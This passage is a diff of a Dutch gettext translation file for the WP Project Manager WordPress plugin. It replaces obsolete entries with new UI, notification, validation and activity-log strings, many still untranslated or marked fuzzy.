views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "E-mail type" - -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "HTML e-mail" - -#: views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "Platte tekst" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "Bestand upload limiet" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -#, fuzzy -#| msgid "Due date" -msgid "due date" -msgstr "Eind datum" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "Bekijk Taak" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "" - -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "Nieuw Bericht" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "" - -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "Bekijk Bericht" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "" - -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "Bekijk Project" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -msgid "Update task has been assigned to you" -msgstr "" - -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update List" -msgid "Updated By" -msgstr "Update Lijst" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -#~ msgid "Project created by %s" -#~ msgstr "Project gemaakt door %s" - -#~ msgid "Project details updated by %s" -#~ msgstr "Project details geupdate door %s" - -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "Bericht \"%s\" verwijderd door %s" - -#~ msgid "%s deleted a comment" -#~ msgstr "%s verwijderd een reactie" - -#~ msgid "Add a comment..." -#~ msgstr "Voeg een reactie toe..." - -#~ msgid "Messages" -#~ msgstr "Berichten" - -#~ msgid "message post type" -#~ msgstr "Bericht plaatsings type" - -#~ msgid "Edit Message" -#~ msgstr "Bewerk Bericht" - -#~ msgid "Search Messages" -#~ msgstr "Zoek Berichten" - -#~ msgid "Parent Message" -#~ msgstr "Huidig Bericht" - -#~ msgid "Add New Milestone" -#~ msgstr "Voeg nieuwe mijlpaal toe" - -#~ msgid "New Milestone" -#~ msgstr "Nieuwe Mijlpaal" - -#~ msgid "View Milestone" -#~ msgstr "Bekijk Mijlpaal" - -#~ msgid "Search Milestone" -#~ msgstr "Zoek Mijlpaal" - -#~ msgid "Parent Milestone" -#~ msgstr "Huidige Mijlpaal" - -#~ msgid "project manager post type" -#~ msgstr "project manager bericht type" - -#~ msgid "Add Project" -#~ msgstr "Voeg project toe" - -#~ msgid "Edit Project" -#~ msgstr "Bewerk Project" - -#~ msgid "Search Project" -#~ msgstr "Zoek Project" - -#~ msgid "Parent Project" -#~ msgstr "Huidige Project" - -#~ msgid "Add Task List" -#~ msgstr "Voeg takenlijst toe" - -#~ msgid "Add New Task List" -#~ msgstr "Voeg nieuwe takenlijst toe" - -#~ msgid "Edit Task List" -#~ msgstr "Bewerk Takenlijst" - -#~ msgid "View Task List" -#~ msgstr "Bekijk Takenlijst" - -#~ msgid "Search Task List" -#~ msgstr "Zoek Takenlijst" - -#~ msgid "Parent Task List" -#~ msgstr "Huidige Takenlijst" - -#~ msgid "Add New Task" -#~ msgstr "Voeg nieuwe taak toe" - -#~ msgid "Edit Task" -#~ msgstr "Bewerk Taak" - -#~ msgid "New Task" -#~ msgstr "Nieuwe Taak" - -#~ msgid "Search Task" -#~ msgstr "Zoek Taak" - -#~ msgid "Parent Task" -#~ msgstr "Huidige Taak" - -#~ msgid "Delete project" -#~ msgstr "Verwijder project" - -#~ msgid "Add this comment" -#~ msgstr "Voeg deze reactie toe" - -#~ msgid "late" -#~ msgstr "laat" - -#~ msgid "Attached to %s by %s" -#~ msgstr "Bijgevoegd aan %s door %s" - -#~ msgid "Error: Message not found" -#~ msgstr "Fout: Bericht niet gevonden" - -#~ msgid "Error: Project not found" -#~ msgstr "Fout: Project niet gevonden" - -#~ msgid "Error: Permission denied" -#~ msgstr "Fout: Toegang geweigerd" - -#~ msgid "Message %s created by %s" -#~ msgstr "Bericht %s geplaatst door %s" - -#~ msgid "Message %s updated by %s" -#~ msgstr "Bericht %s geupdate door %s" - -#~ msgid "To-do list %s created by %s" -#~ msgstr "Checklist %s gemaakt door %s" - -#~ msgid "To-do list %s updated by %s" -#~ msgstr "Takenlijst %s geupdate door %s" - -#~ msgid "To-do list \"%s\" deleted by %s" -#~ msgstr "Takenlijst \"%s\" verwijderd door %s" - -#~ msgid "To-do %s added on to-do list %s by %s" -#~ msgstr "Taak %s toegevoegd op takenlijst %s door %s" - -#~ msgid "To-do %s updated by %s" -#~ msgstr "Taak %s geupdate door %s" - -#~ msgid "To-do %s completed by %s" -#~ msgstr "Taak %s voltooid door %s" - -#~ msgid "Marked to-do as done" -#~ msgstr "Taak gemarkeerd als voltooid" - -#~ msgid "To-do %s marked un-done by %s" -#~ msgstr "Taak %s gemarkeerd als nog niet voltooid door %s" - -#~ msgid "Re-opened to-do" -#~ msgstr "Taak heropend" - -#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" -#~ msgstr "Taak \"%s\" verwijderd van takenlijst %s door %s" - -#~ msgid "Milestone \"%s\" added by %s " -#~ msgstr "Mijlpaal \"%s\" toegevoegd door %s " - -#~ msgid "Milestone \"%s\" updated by %s " -#~ msgstr "Mijlpaal \"%s\" geupdate door %s " - -#~ msgid "Milestone \"%s\" deleted by %s " -#~ msgstr "Mijlpaal \"%s\" verwijderd door %s " - -#~ msgid "Milestone \"%s\" marked as complete by %s " -#~ msgstr "Mijlpaal \"%s\" gemarkeerd als voltooid door %s " - -#~ msgid "Milestone \"%s\" marked as incomplete by %s " -#~ msgstr "Mijlpaal \"%s\" gemarkeerd als in-compleet door %s " - -#~ msgid "General" -#~ msgstr "Algemeen" - -#~ msgid "No Messages Found" -#~ msgstr "Geen berichten gevonden" - -#~ msgid "No Messages Found in Trash" -#~ msgstr "Geen berichten gevonden in de prullenbak" - -#~ msgid "No Milestone Found" -#~ msgstr "Geen Mijlpaal gevonden" - -#~ msgid "No Milestone Found in Trash" -#~ msgstr "Geen Mijlpaal gevonden in de prullenbak" - -#~ msgid "No Project Found in Trash" -#~ msgstr "Geen Project gevonden in de prullenbak" - -#~ msgid "No Task List Found" -#~ msgstr "Geen takenlijst gevonden" - -#~ msgid "No Task List Found in Trash" -#~ msgstr "Geen takenlijkst gevonden in de prullenbak" - -#~ msgid "No Task Found" -#~ msgstr "Geen taak gevonden" - -#~ msgid "No Task Found in Trash" -#~ msgstr "Geen taak gevonden in de prullenbak" - -#~ msgid "Select co-workers" -#~ msgstr "Selecteer klante(n)" - -#~ msgid "Are you sure to delete this to-do?" -#~ msgstr "Weet je zeker dat je deze taak wilt verwijderen?" - -#~ msgid "Add this to-do" -#~ msgstr "Voeg deze taak toe" - -#~ msgid "Add a new to-do" -#~ msgstr "Voeg een nieuwe taak toe" - -#~ msgid "-- milestone --" -#~ msgstr "-- mijlpaal --" - -#~ msgid "Are you sure to delete this to-do list?" -#~ msgstr "Weet je zeker dat je deze takenlijst wilt verwijderen?" - -#~ msgid "Update comment" -#~ msgstr "Update je reactie" - -#~ msgid "Edit milestone" -#~ msgstr "Bewerk mijlpaal" - -#~ msgid "Mark un-complete" -#~ msgstr "Markeer als niet voltooid" - -#~ msgid "To-do List" -#~ msgstr "Takenlijst" - -#~ msgid "Notify Co-workers" -#~ msgstr "Stuur bericht aan klanten" - -#~ msgid "thread" -#~ msgstr "berichtoverzicht" - -#~ msgid "Discuss this to-do list" -#~ msgstr "Discussieer over deze takenlijst" - -#~ msgid "file size in Megabyte. e.g: 2" -#~ msgstr "bestand grootte in Megabyte. bijv. 2" - -#~ msgid "New Project Subject" -#~ msgstr "Nieuw project onderwerp" - -#~ msgid "New Project Body" -#~ msgstr "Nieuw project inhoud" - -#~ msgid "New Message Subject" -#~ msgstr "Nieuw bericht onderwerp" - -#~ msgid "New Message Body" -#~ msgstr "Nieuw bericht inhoud" - -#~ msgid "New Comment Subject" -#~ msgstr "Nieuw reactie onderwerp" - -#~ msgid "New Assigned Task Subject" -#~ msgstr "Nieuw toegewezen Taak onderwerp" - -#~ msgid "-- assign to --" -#~ msgstr "-- wijs toe aan --" - -#~ msgid "" -#~ "To attach, select files " -#~ "from your computer." -#~ msgstr "" -#~ "Om bij te voegen, selecteer " -#~ "bestanden van je computer." - -#~ msgid "%d Comments" -#~ msgstr "%d Reacties" - -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(Voltooid door %s op %s)" - -#~ msgid "Tasklist name" -#~ msgstr "Naam voor de takenlijst" - -#~ msgid "Add a to-do" -#~ msgstr "Voeg een taak toe" - -#~ msgid "Message details here" -#~ msgstr "Bericht details hier" - -#~ msgid "Details about milestone (optional)" -#~ msgstr "Enkele details over het project (optioneel)" - -#~ msgid "Reopen" -#~ msgstr "Heropen" - -#~ msgid "" -#~ "Download or go to the discussion." -#~ msgstr "" -#~ "Download of ga naar de discussie." - -#~ msgid "No Files Found!" -#~ msgstr "Geen bestanden gevonden!" - -#~ msgid "Add New" -#~ msgstr "Voeg nieuwe toe" - -#~ msgid "No messages found! How about adding one?" -#~ msgstr "Geen berichten gevonden! Misschien een idee om er een te plaatsen?" - -#~ msgid "← back" -#~ msgstr "← terug" - -#~ msgid "No Milestone Found!" -#~ msgstr "Geen Mijlpaal gevonden!" - -#~ msgid "Add new milestone" -#~ msgstr "Voeg nieuwe mijlpaal toe" - -#~ msgid "Project Info" -#~ msgstr "Project Informatie" - -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "Oh nee, geen Takenlijst gevonden!" - -#~ msgid "Discuss this to-do" -#~ msgstr "Discussieer over deze taak" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:53+0600\n" +"Last-Translator: Tareq Hasan \n" +"Language-Team: Tareq Hasan \n" +"Language: nl\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-KeywordsList: _e;__;gettext_noop\n" +"X-Poedit-Basepath: .\n" +"X-Generator: Poedit 2.0.8\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" +"X-Poedit-SearchPath-0: ..\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "Bericht" + +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "Takenlijst" + +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "Taak" + +#: core/Notifications/Emails/New_Comment_Notification.php:68 +#, fuzzy +#| msgid "Files" +msgid "File" +msgstr "Bestanden" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Project_Notification.php:24 +#, fuzzy +#| msgid "Update Project" +msgid "[%s] Updated Project: %s" +msgstr "Update Project" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "" + +#: core/Upgrades/Upgrade.php:140 +#, fuzzy +#| msgid "Load More..." +msgid "Read More" +msgstr "Laad Meer..." + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "Toegestane bestanden" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "Instellingen" + +#: core/WP/Frontend.php:288 +msgid "Documentation" +msgstr "" + +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "Project Manager" + +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "Projecten" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category id is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discuss title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discuss id is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone id is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role id is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task id is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "" + +#: src/Task_List/Validators/Update_Task_List.php:11 +#, fuzzy +#| msgid "Tasklist detail" +msgid "Task list id is required." +msgstr "Takenlijst detail" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:140 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task, %2$s." +msgstr "%s heeft een reactie gegeven op een %s" + +#: texts/activities.php:144 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:148 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:152 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:158 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task list, %2$s." +msgstr "%s heeft een reactie gegeven op een %s" + +#: texts/activities.php:162 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:166 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:170 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:180 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:194 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a milestone, %2$s." +msgstr "%s heeft een reactie gegeven op een %s" + +#: texts/activities.php:198 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:202 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:206 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:212 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on the project, %2$s." +msgstr "%s heeft een reactie gegeven op een %s" + +#: texts/activities.php:216 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +#: texts/activities.php:224 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:230 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a file, %2$s." +msgstr "%s heeft een reactie gegeven op een %s" + +#: texts/activities.php:234 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:238 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:242 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "%s een geupdate reactie op een %s" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +#: texts/resource_types.php:5 +#, fuzzy +#| msgid "Project" +msgid "project" +msgstr "Project" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "" + +#: texts/resource_types.php:11 +#, fuzzy +#| msgid "Task List" +msgid "task list" +msgstr "Takenlijst" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +#: texts/resource_types.php:17 +#, fuzzy +#| msgid "Milestone" +msgid "milestone" +msgstr "Mijlpaal" + +#: texts/resource_types.php:20 +#, fuzzy +msgid "comment" +msgstr "1 Reactie" + +#: texts/resource_types.php:23 +msgid "file" +msgstr "" + +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been 